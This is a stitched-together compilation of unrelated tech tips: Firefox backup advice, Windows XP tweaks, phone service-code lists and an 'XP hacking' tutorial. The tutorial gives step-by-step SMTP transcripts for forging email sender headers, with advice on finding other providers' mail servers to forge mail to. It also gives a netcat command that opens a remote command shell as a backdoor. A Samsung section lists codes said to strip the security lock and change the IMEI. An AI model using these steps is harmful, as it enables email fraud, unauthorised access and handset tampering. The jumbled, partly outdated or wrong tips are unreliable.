    Keep a log of everything you change, or make backups. If you tweak something now and notice bizarre activity in a week, you'll want to be able to track back to what was altered and undo it. Firefox does show which about:config changes have been set manually, but this isn't always the most accurate way to find out what you changed.

    To make a backup of your preferences in Firefox, just make a copy of the file prefs.js, which is kept in your Firefox profile folder. If you mess something up, you can always copy this file back in. (Be sure to shut down Firefox before making a copy of prefs.js or moving a copy back into the profile folder!)

    In Windows XP, the profile folder is
    \Documents and Settings\\Application Data\Mozilla\Firefox\Profiles\.default\

    In Windows Vista, this folder is
    \Users\\AppData\Roaming\Mozilla\Firefox\Profiles\.default\

    Note that Application Data and AppData are hidden folders by default, so they may not show up unless you force Explorer to show hidden objects. (Open the Control Panel, double-click Folder Options, select the View tab, select "Show hidden files and folders" and click OK.)

    In Mac OS X, the profile folder is
    /Library/Application Support/Firefox/Profiles/.default/

    and in Linux it's
    ~/.mozilla/firefox/.default/

    but on those platforms it's usually quicker simply to search for prefs.js.

    Alternatively, you can use the handy Firefox Extension Backup Extension (FEBE). It backs up not only the prefs.js file but just about every other thing in Firefox -- extensions, themes, cookies, form history and so on.

    Reqirements - Any Phone with bluetooth (software installation facility avilable)
    G.P.RS must b enabled

    go to this link

    www.cellity.com

    searched By - SUMIT SINGHAL

    Secret Codes

    Monitor mode: Hold C and press 379
    Secret menu: Hold C and press 987
    Version number: Hold C and press 597
    Phase1 and 2 : Hold C and press 499
    Warm start : Hold C and press 179
    Instant turn off: Hold C and press 999
    Unlock menu: Hold C and press 787090

    20 things you didn't know about Windows XP





    You've read the reviews and digested the key feature enhancements and operational changes. Now it's time to delve a bit deeper and uncover some of Windows XP's secrets.




    1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

    2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

    3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

    4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

    5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

    6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

    7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

    8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

    9. XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

    10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

    11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

    12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

    13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

    14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

    15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

    16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

    17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.

    18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

    19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.

    20. The next release of Windows XP, codenamed Longhorn, is due out late dis month The next big release is codenamed Blackcomb and will be out in 2010/2011

    Reply With Quote

    So you have the newest, glitziest, "Fisher Price" version of Windows: XP. How
    can you use XP in a way that sets you apart from the boring millions of ordinary
    users?

    The key to doing amazing things with XP is as simple as D O S. Yes, that's
    right, DOS as in MS-DOS, as in MicroSoft Disk Operating System. Windows XP (as
    well as NT and 2000) comes with two versions of DOS. Command.com is an old DOS
    version. Various versions of command.com come with Windows 95, 98, SE, ME,
    Window 3, and DOS only operating systems.

    The other DOS, which comes only with XP, 2000 and NT, is cmd.exe. Usually
    cmd.exe is better than command.com because it is easier to use, has more
    commands, and in some ways resembles the bash shell in Linux and other Unix-type
    operating systems. For example, you can repeat a command by using the up arrow
    until you back up to the desired command. Unlike bash, however, your DOS command
    history is erased whenever you shut down cmd.exe. The reason XP has both
    versions of DOS is that sometimes a program that won?t run right in cmd.exe will
    work in command.com

    note : m not comparing bash to dos


    DOS is your number one Windows gateway to the Internet, and the open sesame to
    local area networks. From DOS, without needing to download a single hacker
    program, you can do amazingly sophisticated explorations and even break into
    poorly defended computers.


    ****************
    You can go to jail warning: Breaking into computers is against the law if you do
    not have permission to do so from the owner of that computer. For example, if
    your friend gives you permission to break into her Hotmail account, that won't
    protect you because Microsoft owns Hotmail and they will never give you
    permission.
    ****************
    ****************
    You can get expelled warning: Some kids have been kicked out of school just for
    bringing up a DOS prompt on a computer. Be sure to get a teacher's WRITTEN
    permission before demonstrating that you can hack on a school computer.
    ****************

    So how do you turn on DOS?
    Click All Programs -> Accessories -> Command Prompt
    That runs cmd.exe. You should see a black screen with white text on it, saying
    something like this:

    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.

    C:\>

    Your first step is to find out what commands you can run in DOS. If you type
    "help" at the DOS prompt, it gives you a long list of commands. However, this
    list leaves out all the commands hackers love to use. Here are some of those
    left out hacker commands.

    TCP/IP commands:
    telnet
    netstat
    nslookup
    tracert
    ping
    ftp

    NetBIOS commands (just some examples):
    nbtstat
    net use
    net view
    net localgroup

    TCP/IP stands for transmission control protocol/Internet protocol. As you can
    guess by the name, TCP/IP is the protocol under which the Internet runs. along
    with user datagram protocol (UDP). So when you are connected to the Internet,
    you can try these commands against other Internet computers. Most local area
    networks also use TCP/IP.

    NetBIOS (Net Basic Input/Output System) protocol is another way to communicate
    between computers. This is often used by Windows computers, and by Unix/Linux
    type computers running Samba. You can often use NetBIOS commands over the
    Internet (being carried inside of, so to speak, TCP/IP). In many cases, however,
    NetBIOS commands will be blocked by firewalls. Also, not many Internet computers
    run NetBIOS because it is so easy to break in using them. I will cover NetBIOS
    commands in the next article to XP Hacking.

    The queen of hacker commands is telnet. To get Windows help for telnet, in the
    cmd.exe window give the command:

    C:\>telnet /?

    Here's what you will get:

    telnet [-a][-e escape char][-f log file][-l user][-t term][host
    [port]]

    -a Attempt automatic logon. Same as --l option except uses the currently logged
    on user's name.
    -e Escape character to enter telnet cclient prompt.
    -f File name for client side logging
    -l Specifies the user name to log in with on the remote system. Requires that
    the remote system support the TELNET ENVIRON option.
    -t Specifies terminal type. Supportedd term types are vt100, vt52, ansi and vtnt
    only.
    host Specifies the hostname or IP address of the remote computer to connect to.
    port Specifies a port number or service name.


    ****************
    Newbie note: what is a port on a computer? A computer port is sort of like a
    seaport. It's where things can go in and/or out of a computer. Some ports are
    easy to understand, like keyboard, monitor, printer and modem. Other ports are
    virtual, meaning that they are created by software. When that modem port of
    yours (or LAN or ISDN or DSL) is connected to the Internet, your computer has
    the ability to open or close any of over 65,000 different virtual ports, and has
    the ability to connect to any of these on another computer - if it is running
    that port, and if a firewall doesn?t block it.
    ****************
    ****************
    Newbie note: How do you address a computer over the Internet? There are two
    ways: by number or by name.
    ****************

    The simplest use of telnet is to log into a remote computer. Give the command:

    C:/>telnet targetcomputer.com (substituting the name of the computer you want to
    telnet into for targetcomputer.com)

    If this computer is set up to let people log into accounts, you may get the
    message:

    login:

    Type your user name here, making sure to be exact. You can't swap between lower
    case and capital letters. For example, user name Guest is not the same as guest.

    ****************
    Newbie note: Lots of people email me asking how to learn what their user name
    and password are. Stop laughing, darn it, they really do. If you don't know your
    user name and password, that means whoever runs that computer didn't give you an
    account and doesn't want you to log on.
    ****************

    Then comes the message:

    Password:

    Again, be exact in typing in your password.

    What if this doesn't work?

    Every day people write to me complaining they can't telnet. That is usually
    because they try to telnet into a computer, or a port on a computer that is set
    up to refuse telnet connections. Here's what it might look like when a computer
    refuses a telnet connection:

    C:\ >telnet 10.0.0.3
    Connecting To 10.0.0.3...Could not open connection to the host, on port 23. A
    connection attempt failed because the connected party did not properly respond
    after a period of time, or established connection failed because connected host
    has failed to respond.

    Or you might see:

    C:\ >telnet hotmail.com
    Connecting To hotmail.com...Could not open connection to the host, on port
    23. No connection could be made because the target machine actively refused it.

    If you just give the telnet command without giving a port number, it will
    automatically try to connect on port 23, which sometimes runs a telnet server.

    **************
    Newbie note: your Windows computer has a telnet client program, meaning it will
    let you telnet out of it. However you have to install a telnet server before
    anyone can telnet into port 23 on your computer.
    *************

    If telnet failed to connect, possibly the computer you were trying to telnet
    into was down or just plain no longer in existence. Maybe the people who run
    that computer don't want you to telnet into it.

    Even though you can't telnet into an account inside some computer, often you can
    get some information back or get that computer to do something interesting for
    you. Yes, you can get a telnet connection to succeed -without doing anything
    illegal --against almost any computer, even if you don't have permission to log
    in. There are many legal things you can do to many randomly chosen computers
    with telnet. For example:

    C:/telnet freeshell.org 22

    SSH-1.99-OpenSSH_3.4p1

    That tells us the target computer is running an SSH server, which enables
    encrypted connections between computers. If you want to SSH into an account
    there, you can get a shell account for free at http://freeshell.org . You can
    get a free SSH client program from http://winfiles.com .

    ***************
    You can get punched in the nose warning: Your online provider might kick you off
    for making telnet probes of other computers. The solution is to get a local
    online provider and make friends with the people who run it, and convince them
    you are just doing harmless, legal explorations.
    *************

    Sometimes a port is running an interesting program, but a firewall won't let you
    in. For example, 10.0.0.3, a computer on my local area network, runs an email
    sending program, (sendmail working together with Postfix, and using Kmail to
    compose emails). I can use it from an account inside 10.0.0.3 to send emails
    with headers that hide from where I send things.

    If I try to telnet to this email program from outside this computer, here's what
    happens:

    C:\>telnet 10.0.0.3 25
    Connecting To 10.0.0.3...Could not open connection to the host, on port 25. No
    connection could be made because the target machine actively refused it.

    However, if I log into an account on 10.0.0.3 and then telnet from inside to
    port 25, here's what I get:

    Last login: Fri Oct 18 13:56:58 2002 from 10.0.0.1
    Have a lot of fun...
    cmeinel@test-box:~> telnet localhost 25
    Trying ::1...
    telnet: connect to address ::1: Connection refused
    Trying 127.0.0.1... [Carolyn's note: 127.0.0.1 is the numerical address meaning
    localhost, the same computer you are logged into]
    Connected to localhost.
    Escape character is '^]'.
    220 test-box.local ESMTP Postfix

    The reason I keep this port 25 hidden behind a firewall is to keep people from
    using it to try to break in or to forge email. Now the ubergeniuses reading this
    will start to make fun of me because no Internet address that begins with 10. is
    reachable from the Internet. However, sometimes I place this "test-box" computer
    online with a static Internet address, meaning whenever it is on the Internet,
    it always has the same numerical address. I'm not going to tell you what its
    Internet address is because I don't want anyone messing with it. I just want to
    mess with other people's computers with it, muhahaha. That's also why I always
    keep my Internet address from showing up in the headers of my emails.

    ***************
    Newbie note: What is all this about headers? It's stuff at the beginning of an
    email that may - or may not - tell you a lot about where it came from and when.
    To see full headers, in Outlook click view -> full headers. In Eudora, click the
    "Blah blah blah" icon.
    ****************

    Want a computer you can telnet into and mess around with, and not get into
    trouble no matter what you do to it? I've set up my techbroker.com
    (206.61.52.33) with user xyz, password guest for you to play with. Here's how to
    forge email to xyz@techbroker.com using telnet. Start with the command:

    C:\>telnet techbroker.com 25
    Connecting To Techbroker.com

    220 Service ready

    Now you type in who you want the message to appear to come from:

    helo santa@techbroker.com
    Techbroker.com will answer:

    250 host ready

    Next type in your mail from address:

    mail from:santa@techbroker.com

    250 Requested mail action okay, completed

    Your next command:

    rcpt to:xyz@techbroker.com
    250 Requested mail action okay, completed

    Your next command:
    data
    354 Start main input; end with .


    just means hit return. In case you can't see that little
    period between the s, what you do to end composing your email is to hit
    enter, type a period, then hit enter again. Anyhow, try typing:

    This is a test.
    .
    250 Requested mail action okay, completed
    quit
    221 Service closing transmission channel

    Connection to host lost.

    Using techbroker's mail server, even if you enable full headers, the message we
    just composed looks like:

    Status: R
    X-status: N

    This is a test.

    That's a pretty pathetic forged email, huh? No "from", no date. However, you can
    make your headers better by using a trick with the data command. After you give
    it, you can insert as many headers as you choose. The trick is easier to show
    than explain:

    220 Service ready
    helo santa@northpole.org
    250 host ready
    mail from:santa@northpole.com
    250 Requested mail action okay, completed
    rcpt to:cmeinel@techbroker.com
    250 Requested mail action okay, completed
    data
    354 Start main input; end with .
    from:santa@deer.northpole.org
    Date: Mon, 21 Oct 2002 10:09:16 -0500
    Subject: Rudolf
    This is a Santa test.
    .
    250 Requested mail action okay, completed
    quit
    221 Service closing transmission channel

    Connection to host lost.

    The message then looks like:

    from:santa@deer.northpole.org
    Date: Mon, 21 Oct 2002 10:09:16 -0500
    Subject: Rudolf
    This is a Santa test.

    The trick is to start each line you want in the headers with one word followed
    by a colon, and the a line followed by "return". As soon as you write a line
    that doesn't begin this way, the rest of what you type goes into the body of the
    email.

    Notice that the santa@northpole.com from the "mail from:" command didn't show up
    in the header. Some mail servers would show both "from" addresses.

    You can forge email on techbroker.com within one strict limitation. Your email
    has to go to someone at techbroker.com. If you can find any way to send email to
    someone outside techbroker, let us know, because you will have broken our
    security, muhahaha! Don't worry, you have my permission.

    Next, you can read the email you forge on techbroker.com via telnet:

    C:\>telnet techbroker.com 110

    +OK <30961.5910984301@techbroker.com> service ready

    Give this command:
    user xyz
    +OK user is known

    Then type in this:
    pass test
    +OK mail drop has 2 message(s)

    retr 1
    +OK message follows
    This is a test.

    If you want to know all possible commands, give this command:

    help
    +OK help list follows
    USER user
    PASS password
    STAT
    LIST [message]
    RETR message
    DELE message
    NOOP
    RSET
    QUIT
    APOP user md5
    TOP message lines
    UIDL [message]
    HELP

    Unless you use a weird online provider like AOL, you can use these same tricks
    to send and receive your own email. Or you can forge email to a friend by
    telnetting to his or her online provider's email sending computer(s).

    With most online providers you need to get the exact name of their email
    computer(s). Often it is simply mail.targetcomputer.com (substitute the name of
    the online provider for targetcomputer). If this doesn't work, you can find out
    the name of their email server with the DOS nslookup program, which only runs
    from cmd.exe. Here's an example:


    C:\ >nslookup
    Default Server: DNS1.wurld.net
    Address: 206.61.52.11

    > set q=mx
    > dimensional.com
    Server: DNS1.wurld.net
    Address: 206.61.52.11

    dimensional.com MX preference = 5, mail exchanger =
    mail.dimensional.com
    dimensional.com MX preference = 10, mail exchanger =
    mx2.dimensional.com
    dimensional.com MX preference = 20, mail exchanger =
    mx3.dimensional.com
    dimensional.com nameserver = ns.dimensional.com
    dimensional.com nameserver = ns-1.dimensional.com
    dimensional.com nameserver = ns-2.dimensional.com
    dimensional.com nameserver = ns-3.dimensional.com
    dimensional.com nameserver = ns-4.dimensional.com
    mail.dimensional.com internet address = 206.124.0.11
    mx2.dimensional.com internet address = 206.124.0.30
    mx3.dimensional.com internet address = 209.98.32.54
    ns.dimensional.com internet address = 206.124.0.10
    ns.dimensional.com internet address = 206.124.26.254
    ns.dimensional.com internet address = 206.124.0.254
    ns.dimensional.com internet address = 206.124.1.254
    ns.dimensional.com internet address = 209.98.32.54
    ns.dimensional.com internet address = 206.124.0.32
    ns.dimensional.com internet address = 206.124.0.30
    ns.dimensional.com internet address = 206.124.0.25
    ns.dimensional.com internet address = 206.124.0.15
    ns.dimensional.com internet address = 206.124.0.21
    ns.dimensional.com internet address = 206.124.0.9
    ns-1.dimensional.com internet address = 206.124.26.254
    ns-2.dimensional.com internet address = 209.98.32.54
    ns-3.dimensional.com internet address = 206.124.1.254
    ns-4.dimensional.com internet address = 206.124.0.254
    >

    The lines that tell you what computers will let you forge email to people with
    @dimensional.com addresses are:

    dimensional.com MX preference = 5, mail exchanger =
    mail.dimensional.com
    dimensional.com MX preference = 10, mail exchanger =
    mx2.dimensional.com
    dimensional.com MX preference = 20, mail exchanger =
    mx3.dimensional.com

    MX stands for mail exchange. The lower the preference number, the more they
    would like you to use that address for email.If that lowest number server is too
    busy, then try another server.

    Sometimes when you ask about a mail server, nslookup will give you this kind of
    error message:

    DNS request timed out.
    timeout was 2 seconds.
    DNS request timed out.
    timeout was 2 seconds.
    *** Request to [207.217.120.202] timed-out

    To get around this problem, you need to find out what are the domain servers for
    your target online provider. A good place to start looking is
    http://netsol.com/cgi-bin/whois/whois . If this doesn't work, see
    http://happyhacker.org/HHA/fightback.shtml for how to find the domain servers
    for any Internet address.

    ****************
    Newbie note: A domain name server provides information on the names and numbers
    assigned to computers on the Internet. For example, dns1.wurld.net and
    dns2.wurld.net contain information on happyhacker.org, techbroker.com,
    securitynewsportal.com, thirdpig.com and sage-inc.com. When you query
    dns1.wurld.net about other computers, it might have to go hunting for that
    information from other name servers. That's why you might get a timed out
    failure.
    ***************

    Once you know the domain servers for an online service, set one of them for the
    server for your nslookup program. Here's how you do it:

    C:\ >nslookup
    Default Server: DNS1.wurld.net
    Address: 206.61.52.11

    Now give the command:

    > server 207.217.126.41
    Default Server: ns1.earthlink.net
    Address: 207.217.126.41

    Next command should be:
    > set q=mx
    > earthlink.net
    Server: ns1.earthlink.net
    Address: 207.217.126.41

    earthlink.net MX preference = 5, mail exchanger = mx04.earthlink.net
    earthlink.net MX preference = 5, mail exchanger = mx05.earthlink.net
    earthlink.net MX preference = 5, mail exchanger = mx06.earthlink.net
    earthlink.net MX preference = 5, mail exchanger = mx00.earthlink.net
    earthlink.net MX preference = 5, mail exchanger = mx01.earthlink.net
    earthlink.net MX preference = 5, mail exchanger = mx02.earthlink.net
    earthlink.net MX preference = 5, mail exchanger = mx03.earthlink.net
    earthlink.net nameserver = ns3.earthlink.net
    earthlink.net nameserver = ns1.earthlink.net
    earthlink.net nameserver = ns2.earthlink.net
    mx00.earthlink.net internet address = 207.217.120.28
    mx01.earthlink.net internet address = 207.217.120.29
    mx02.earthlink.net internet address = 207.217.120.79
    mx03.earthlink.net internet address = 207.217.120.78
    mx04.earthlink.net internet address = 207.217.120.249
    mx05.earthlink.net internet address = 207.217.120.31
    mx06.earthlink.net internet address = 207.217.120.23
    ns1.earthlink.net internet address = 207.217.126.41
    ns2.earthlink.net internet address = 207.217.77.42
    ns3.earthlink.net internet address = 207.217.120.43
    >

    Your own online service will usually not mind and may even be glad if you use
    telnet to read your email. Sometimes a malicious person or faulty email program
    will send you a message that is so screwed up that your email program can't
    download it. With telnet you can manually delete the bad email. Otherwise tech
    support has to do it for you.

    If you think about it, this ability to forge email is a huge temptation to
    spammers. How can your online provider keep the bad guys from filling up a
    victim's email box with garbage? The first time a bad guy tries this, probably
    nothing will stop him or her. The second time the online provider might block
    the bad guy at the firewall, maybe call the bad guy's online provider and kick
    him or her and maybe get the bad guy busted or sued.

    **************
    You can go to jail warning: Sending hundreds or thousands of junk emails to bomb
    someone's email account is a felony in the US.
    ***************

    ***************
    You can get sued warning: Spamming, where you send only one email to each
    person, but send thousands or millions of emails, is borderline legal. However,
    spammers have been successfully sued when they forge the email addresses of
    innocent people as senders of their spam.
    ****************

    Now that you know how to read and write email with telnet, you definitely have
    something you can use to show off with. Happy hacking!

    Oh, here's one last goodie for advanced users. Get netcat for Windows. It's a
    free program written by Weld Pond and Hobbit, and available from many sites, for
    example
    http://www.atstake.com/research/tools/#network_utilities . It is basically
    telnet on steroids. For example, using netcat, you can set up a port on your
    Windows computer to allow people to telnet into a DOS shell by using this
    command:

    C:\>nc -L -p 5000 -t -e cmd.exe

    You can specify a different port number than 5000. Just make sure it doesn't
    conflict with another port by checking with the netstat command. Then you and
    your friends, enemies and random losers can either telnet in or netcat in with
    the command:

    C:\>nc -v [ipaddress of target] [port]

    Of course you will probably get hacked for setting up this port. However, if you
    set up a sniffer to keep track of the action, you can turn this scary back door
    into a fascinating honeypot. For example, you could run it on port 23 and watch
    all the hackers who attack with telnet hoping to log in. With some programming
    you could even fake a unix-like login sequence and play some tricks on your
    attackers.

    Exclusive Stuff : Samsung Mobile



    *#06# -> Show IMEI


    *#9999# -> Show Software Version


    *#0837# -> Show Software Version (instructions)


    *#0001# -> Show Serial Parameters


    *#9125# -> Activates the smiley when charging.

    *#9998*228# -> Battery status (capacity, voltage, temperature)


    *#9998*246# -> Program status


    *#9998*289# -> Change Alarm Buzzer Frequenc

    y
    *#9998*324# -> Debug screens


    *#9998*364# -> Watchdog


    *#9998*377# -> EEPROM Error Stack - Use side keys to select values. Cancel and ok.


    *#9998*427# -> Trace Watchdog


    *#9998*523# -> Change LCD contrast - Only with version G60RL01W


    *#9998*544# -> Jig detect


    *#9998*636# -> Memory status


    *#9998*746# -> SIM File Size


    *#9998*778# -> SIM Service Table


    *#9998*785# -> RTK (Run Time Kernel) errors - if ok then phn is reset, info is put in memory error. *#9998*786# -> Run, Last UP, Last DOWN


    *#9998*837# -> Software Version


    *#9998*842# -> Test Vibrator - Flash the screenligth during 10 seconds and vibration activated.


    *#9998*862# -> Vocoder Reg - Normal, Earphone or carkit can be selected


    *#9998*872# -> Diag


    *#9998*947# -> Reset On Fatal Error


    *#9998*999# -> Last/Chk

    *#9998*9266# -> Yann debug screen (=Debug Screens?)


    *#9998*9999# -> Software version

    *0001*s*f*t# -> Changes serial parameters (s=?, f=0,1, t=0,1) (incomplete)
    *0002*?# -> unknown
    *0003*?# -> unknown


    SP-unlock SGH-600 and SGH 2100

    *2767*3855# -> Full EEPROM Reset ( THIS CODE REMOVES the Security Lock and formats The Mobile's Chipset )

    But also changes IMEI to 447967-89-400044-0, To restore your old IMEI use the IMEI program found on the software page.



    *2767*2878# -> Custom EEEPROM Reset ( does not change the securitu CODE )




    LAtest


    *#1111# S/W Version
    *#1234# Firmware Version
    *#2222# H/W Version
    *#8999*8376263# All Versions Together

    *#8999*8378# Test Menu
    *#4777*8665# GPSR Tool
    *#8999*523# LCD Brightness
    *#8999*377# Error Menu
    *#8999*327# EEP Menu
    *#8999*3825523# Don't Know.
    *#8999*667# Debug Mode
    *#92782# PhoneModel (Wap)
    #*5737425# JAVA Mode
    *#2255# Call List
    *#232337# Bluetooth MAC Adress
    *#5282837# Java Version

    #*4773# Incremental Redundancy
    #*7752# 8 PSK uplink capability bit
    #*7785# Reset wakeup & RTK timer cariables/variables
    #*1200# ????
    #*7200# Tone Generator Mute
    #*3888# BLUETOOTH Test mode
    #*#8999*324# ??
    #*7828# Task screen
    #*5111# ??
    #*#8377466# S/W Version & H/W Version
    #*2562# Restarts Phone
    #*2565# No Blocking? General Defense.
    #*3353# General Defense, Code Erased.
    #*3837# Phone Hangs on White screen
    #*3849# Restarts Phone
    #*3851# Restarts Phone
    #*3876# Restarts Phone
    #*7222# Operation Typ: (Class C GSM)
    #*7224# !!! ERROR !!!
    #*7252# Operation Typ: (Class B GPRS)
    #*7271# CMD: (Not Available)
    #*7274# CMD: (Not Available)
    #*7337# Restarts Phone (Resets Wap Settings)
    #*2787# CRTP ON/OFF
    #*2886# AutoAnswer ON/OFF
    #*3737# L1 AFC
    #*5133# L1 HO Data
    #*7288# GPRS Detached/Attached
    #*7287# GPRS Attached
    #*7666# White Screen
    #*7693# Sleep Deactivate/Activate
    #*7284# L1 HO Data
    #*2256# Calibration info? (For CMD set DEBUGAUTONOMY in cihard.opt)
    #*2286# Databattery
    #*2527# GPRS switching set to (Class 4, 8, 9, 10)
    #*2679# Copycat feature Activa/Deactivate
    #*3940# External looptest 9600 bps
    #*4263# Handsfree mode Activate/Deactivate
    #*4700# Please use function 2637
    #*7352# BVMC Reg value (LOW_SWTOFF, NOMINAL_SWTOFF)
    #*2558# Time ON
    #*3370# Same as 4700
    #*3941# External looptest 115200 bps
    #*5176# L1 Sleep
    #*7462# SIM Phase
    #*7983# Voltage/Freq
    #*7986# Voltage
    #*8466# Old Time
    #*2255# Call Failed
    #*5187# L1C2G trace Activate/Deactivate
    #*5376# DELETE ALL SMS!!!!
    #*6837# Official Software Version: (0003000016000702)
    #*7524# KCGPRS: (FF FF FF FF FF FF FF FF 07)
    #*7562# LOCI GPRS: (FF FF FF FF FF FF FF FF FF FF FF FE FF 01)
    #*2337# Permanent Registration Beep
    #*2474# Charging Duration
    #*2834# Audio Path (Handsfree)
    #*3270# DCS Support Activate/Deactivate
    #*3282# Data Activate/Deactivate
    #*3476# EGSM Activate/Deactivate
    #*3676# FORMAT FLASH VOLUME!!!
    #*4760# GSM Activate/Deactivate
    #*4864# White Screen
    #*5171# L1P1
    #*5172# L1P2
    #*5173# L1P3
    #*7326# Accessory
    #*7683# Sleep variable
    #*8465# Time in L1
    #*2252# Current CAL
    #*2836# AVDDSS Management Activate/Deactivate
    #*3877# Dump of SPY trace
    #*7728# RSAV
    #*2677# Same as 4700
    #*3797# Blinks 3D030300 in RED
    #*3728# Time 2 Decod
    #*3725# B4 last off
    #*7372# Resetting the time to DPB variables
    #*7732# Packet flow context bit Activate/Deactivate
    #*6833# New uplink establishment Activate/Deactivate
    #*3273# EGPRS multislot (Class 4, 8, 9, 10)
    #*7722# RLC bitmap compression Activate/Deactivate
    #*2351# Blinks 1347E201 in RED
    #*4472# Hysteresis of serving cell: 3 dB
    #*2775# Switch to 2 inner speaker
    #*9270# Force WBS
    #*7878# FirstStartup (0=NO, 1=YES)
    #*3757# DSL UART speed set to (LOW, HIGH)
    #*8726# Switches USBACM to Normal
    #*8724# Switches USBACM to Generator mode
    #*8727# Switches USBACM to Slink mode
    #*8725# Switches USBACM to Loop-back mode
    #*3838# Blinks 3D030300 in RED
    #*2077# GPRS Switch
    #*2027# GPRS Switch
    #*0227# GPRS Switch
    #*0277# GPRS Switch
    #*22671# AMR REC START
    #*22672# Stop AMR REC (File name: /a/multimedia/sounds/voice list/ENGMODE.amr)
    #*22673# Pause REC
    #*22674# Resume REC
    #*22675# AMR Playback
    #*22676# AMR Stop Play
    #*22677# Pause Play
    #*22678# Resume Play
    #*77261# PCM Rec Req
    #*77262# Stop PCM Rec
    #*77263# PCM Playback
    #*77264# PCM Stop Play
    #*2872# CNT
    *#8999*283# ???
    #*22679# AMR Get Time
    *288666# ???
    *2886633# ???
    *#8999*364# Watchdog ON/OFF
    #*8370# Tfs4.0 Test 0
    #*8371# Tfs4.0 Test 1
    #*8372# Tfs4.0 Test 2
    #*8373# Tfs4.0 Test 3
    #*8374# Tfs4.0 Test 4
    #*8375# Tfs4.0 Test 5
    #*8376# Tfs4.0 Test 6
    #*8377# Tfs4.0 Test 7
    #*8378# Tfs4.0 Test 8
    #*8379# Tfs4.0 Test 9
    #837837# error=...

    #*36245# Turns Email TestMenu on.

    *2767*22236245# Email EPP set (....)!
    *2767*837836245# Email Test Account!
    *2767*29536245# Email Test2 Account!
    *2767*036245# Email EPP reset!
    *2767*136245# Email EPP set (1)!
    *2767*736245# Email EPP set (7)!
    *2767*3036245# Email...
    *2767*3136245# Email...
    *2767*3336245# Email...
    *2767*3436245# Email...
    *2767*3936245# Email...
    *2767*4136245# Email...
    *2767*4336245# Email...
    *2767*4436245# Email...
    *2767*4536245# Email...
